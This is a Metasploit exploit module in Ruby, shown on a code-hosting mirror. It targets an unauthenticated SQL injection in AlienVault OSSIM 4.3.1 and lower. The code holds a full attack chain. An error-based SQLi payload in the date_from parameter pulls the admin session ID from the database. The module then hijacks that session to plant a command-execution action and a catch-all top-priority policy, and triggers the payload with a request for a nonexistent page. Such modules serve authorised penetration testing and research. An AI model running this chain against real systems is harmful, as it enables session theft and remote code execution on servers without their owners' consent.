Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/alienvault_sqli_exec.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => "AlienVault OSSIM SQL Injection and Remote Code Execution",
16
'Description' => %q{
17
This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault
18
OSSIM versions 4.3.1 and lower. The SQL injection issue can be abused in order to retrieve an
19
active admin session ID. If an administrator level user is identified, remote code execution
20
can be gained by creating a high priority policy with an action containing our payload.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'Sasha Zivojinovic', # SQLi discovery
25
'xistence <xistence[at]0x90.nl>' # Metasploit module
26
],
27
'References' => [
28
['CVE', '2016-8581'],
29
['OSVDB', '106252'],
30
['EDB', '33006']
31
],
32
'DefaultOptions' => {
33
'SSL' => true,
34
'WfsDelay' => 10
35
},
36
'Platform' => 'unix',
37
'Arch' => ARCH_CMD,
38
'Payload' => {
39
'Compat' =>
40
{
41
'RequiredCmd' => 'generic perl python',
42
}
43
},
44
'Targets' => [
45
['Alienvault OSSIM 4.3', {}]
46
],
47
'Privileged' => true,
48
'DisclosureDate' => '2014-04-24',
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'Reliability' => UNKNOWN_RELIABILITY,
52
'Stability' => UNKNOWN_STABILITY,
53
'SideEffects' => UNKNOWN_SIDE_EFFECTS
54
}
55
)
56
)
57
58
register_options(
59
[
60
Opt::RPORT(443),
61
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
62
]
63
)
64
end
65
66
def check
67
marker = rand_text_alpha(6)
68
sqli_rand = rand_text_numeric(4 + rand(4))
69
sqli = "' and(select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(user() as char)),0x#{marker.unpack('H*')[0]})) "
70
sqli << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"
71
72
res = send_request_cgi({
73
'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
74
'vars_get' => { 'date_from' => sqli }
75
})
76
77
if res && res.code == 200 && res.body =~ /#{marker}726F6F7440[0-9a-zA-Z]+#{marker}/ # 726F6F7440 = root
78
return Exploit::CheckCode::Vulnerable
79
else
80
print_status("#{res.body}")
81
return Exploit::CheckCode::Safe
82
end
83
end
84
85
def exploit
86
marker = rand_text_alpha(6)
87
sqli_rand = rand_text_numeric(4 + rand(4))
88
sqli = "' and (select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(id as char)),0x#{marker.unpack('H*')[0]})) "
89
sqli << "from alienvault.sessions where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}"
90
91
print_status("Trying to grab admin session through SQLi")
92
93
res = send_request_cgi({
94
'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'),
95
'vars_get' => { 'date_from' => sqli }
96
})
97
98
if res && res.code == 200 && res.body =~ /#{marker}(.*)#{marker}/
99
admin_session = $1
100
@cookie = "PHPSESSID=" + ["#{admin_session}"].pack("H*")
101
print_status("Admin session cookie is [ #{@cookie} ]")
102
else
103
fail_with(Failure::Unknown, "#{peer} - Failure retrieving admin session")
104
end
105
106
# Creating an Action containing our payload, which will be executed by any event (not only alarms)
107
action = rand_text_alpha(8 + (rand(8)))
108
res = send_request_cgi({
109
'method' => 'POST',
110
'uri' => normalize_uri(target_uri.path, "ossim", "action", "modifyactions.php"),
111
'cookie' => @cookie,
112
'vars_post' => {
113
'action' => 'new',
114
'action_name' => action,
115
'descr' => action,
116
'action_type' => '2',
117
'only' => 'on',
118
'cond' => 'True',
119
'exec_command' => payload.encoded
120
}
121
})
122
123
if res && res.code == 200
124
print_status("Created Action [ #{action} ]")
125
else
126
fail_with(Failure::Unknown, "#{peer} - Action creation failed!")
127
end
128
129
# Retrieving the Action ID, used to clean up the action after successful exploitation
130
res = send_request_cgi({
131
'method' => 'POST',
132
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
133
'cookie' => @cookie,
134
'vars_post' => {
135
'page' => '1',
136
'rp' => '2000'
137
}
138
})
139
140
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{action}/
141
@action_id = $1
142
print_status("Action ID is [ #{@action_id} ]")
143
else
144
fail_with(Failure::Unknown, "#{peer} - Action ID retrieval failed!")
145
end
146
147
# Retrieving the policy data, necessary for proper cleanup after succesful exploitation
148
res = send_request_cgi({
149
'method' => 'GET',
150
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
151
'cookie' => @cookie,
152
'vars_get' => {
153
'm_opt' => 'configuration',
154
'sm_opt' => 'threat_intelligence',
155
'h_opt' => 'policy'
156
}
157
})
158
159
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
160
policy_ctx = $1
161
policy_group = $2
162
print_status("Policy data [ ctx=#{policy_ctx} ] and [ group=#{policy_group} ] retrieved!")
163
else
164
fail_with(Failure::Unknown, "#{peer} - Retrieving Policy data failed!")
165
end
166
167
# Creating policy which will be triggered by any source/destination
168
policy = rand_text_alpha(8 + (rand(8)))
169
res = send_request_cgi({
170
'method' => 'POST',
171
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
172
'cookie' => @cookie,
173
'vars_post' => {
174
'descr' => policy,
175
'active' => '1',
176
'group' => policy_group,
177
'ctx' => policy_ctx,
178
'order' => '1', # Makes this the first policy, overruling all the other policies
179
'action' => 'new',
180
'sources[]' => '00000000000000000000000000000000', # Source is ANY
181
'dests[]' => '00000000000000000000000000000000', # Destination is ANY
182
'portsrc[]' => '0', # Any source port
183
'portdst[]' => '0', # Any destination port
184
'plug_type' => '1', # Taxonomy
185
'plugins[0]' => 'on',
186
'taxfilters[]' => '20@13@118', # Product Type: Operating System, Category: Application, Subcategory: Web - Not Found
187
'tax_pt' => '0',
188
'tax_cat' => '0',
189
'tax_subc' => '0',
190
'mboxs[]' => '00000000000000000000000000000000',
191
'rep_act' => '0',
192
'rep_sev' => '1',
193
'rep_rel' => '1',
194
'rep_dir' => '0',
195
'ev_sev' => '1',
196
'ev_rel' => '1',
197
'tzone' => 'Europe/Amsterdam',
198
'date_type' => '1',
199
'begin_hour' => '0',
200
'begin_minute' => '0',
201
'begin_day_week' => '1',
202
'begin_day_month' => '1',
203
'begin_month' => '1',
204
'end_hour' => '23',
205
'end_minute' => '59',
206
'end_day_week' => '7',
207
'end_day_month' => '31',
208
'end_month' => '12',
209
'actions[]' => @action_id,
210
'sim' => '1',
211
'priority' => '1',
212
'qualify' => '1',
213
'correlate' => '0', # Don't make any correlations
214
'cross_correlate' => '0', # Don't make any correlations
215
'store' => '0' # We don't want to store anything :)
216
}
217
})
218
219
if res && res.code == 200
220
print_status("Created Policy [ #{policy} ]")
221
else
222
fail_with(Failure::Unknown, "#{peer} - Policy creation failed!")
223
end
224
225
# Retrieve policy ID, needed for proper cleanup after succesful exploitation
226
res = send_request_cgi({
227
'method' => 'POST',
228
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "getpolicy.php"),
229
'cookie' => @cookie,
230
'vars_get' => {
231
'ctx' => policy_ctx,
232
'group' => policy_group
233
},
234
'vars_post' => {
235
'page' => '1',
236
'rp' => '2000'
237
}
238
})
239
if res && res.code == 200 && res.body =~ /row id='(.*)' col_order='1'/
240
@policy_id = $1
241
print_status("Policy ID [ #{@policy_id} ] retrieved!")
242
else
243
fail_with(Failure::Unknown, "#{peer} - Retrieving Policy ID failed!")
244
end
245
246
# Reload the policies to make our new policy active
247
print_status("Reloading Policies")
248
res = send_request_cgi({
249
'method' => 'GET',
250
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
251
'cookie' => @cookie,
252
'vars_get' => {
253
'what' => 'policies',
254
'back' => '../policy/policy.php'
255
}
256
})
257
258
if res && res.code == 200
259
print_status("Policies reloaded!")
260
else
261
fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")
262
end
263
264
# Request a non-existing page, which will trigger a SIEM event (and thus our payload), but not an alarm.
265
dont_exist = rand_text_alpha(8 + rand(4))
266
print_status("Triggering policy and action by requesting a non existing url")
267
res = send_request_cgi({
268
'method' => 'GET',
269
'uri' => normalize_uri(target_uri.path, dont_exist),
270
'cookie' => @cookie
271
})
272
273
if res and res.code == 404
274
print_status("Payload delivered")
275
else
276
fail_with(Failure::Unknown, "#{peer} - Payload failed!")
277
end
278
end
279
280
def cleanup
281
begin
282
# Clean up, retrieve token so that the policy can be removed
283
print_status("Cleaning up")
284
res = send_request_cgi({
285
'method' => 'POST',
286
'uri' => normalize_uri(target_uri.path, "ossim", "session", "token.php"),
287
'cookie' => @cookie,
288
'vars_post' => { 'f_name' => 'delete_policy' }
289
})
290
291
if res && res.code == 200 && res.body =~ /\{\"status\":\"OK\",\"data\":\"(.*)\"\}/
292
token = $1
293
print_status("Token [ #{token} ] retrieved")
294
else
295
print_warning("Unable to retrieve token")
296
end
297
298
# Remove our policy
299
res = send_request_cgi({
300
'method' => 'GET',
301
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "deletepolicy.php"),
302
'cookie' => @cookie,
303
'vars_get' => {
304
'confirm' => 'yes',
305
'id' => @policy_id,
306
'token' => token
307
}
308
})
309
310
if res && res.code == 200
311
print_status("Policy ID [ #{@policy_id} ] removed")
312
else
313
print_warning("Unable to remove Policy ID")
314
end
315
316
# Remove our action
317
res = send_request_cgi({
318
'method' => 'GET',
319
'uri' => normalize_uri(target_uri.path, "ossim", "action", "deleteaction.php"),
320
'cookie' => @cookie,
321
'vars_get' => {
322
'id' => @action_id,
323
}
324
})
325
326
if res && res.code == 200
327
print_status("Action ID [ #{@action_id} ] removed")
328
else
329
print_warning("Unable to remove Action ID")
330
end
331
332
# Reload the policies to revert back to the state before exploitation
333
print_status("Reloading Policies")
334
res = send_request_cgi({
335
'method' => 'GET',
336
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
337
'cookie' => @cookie,
338
'vars_get' => {
339
'what' => 'policies',
340
'back' => '../policy/policy.php'
341
}
342
})
343
344
if res && res.code == 200
345
print_status("Policies reloaded!")
346
else
347
fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")
348
end
349
ensure
350
super # mixins should be able to cleanup even in case of Exception
351
end
352
end
353
end
354
355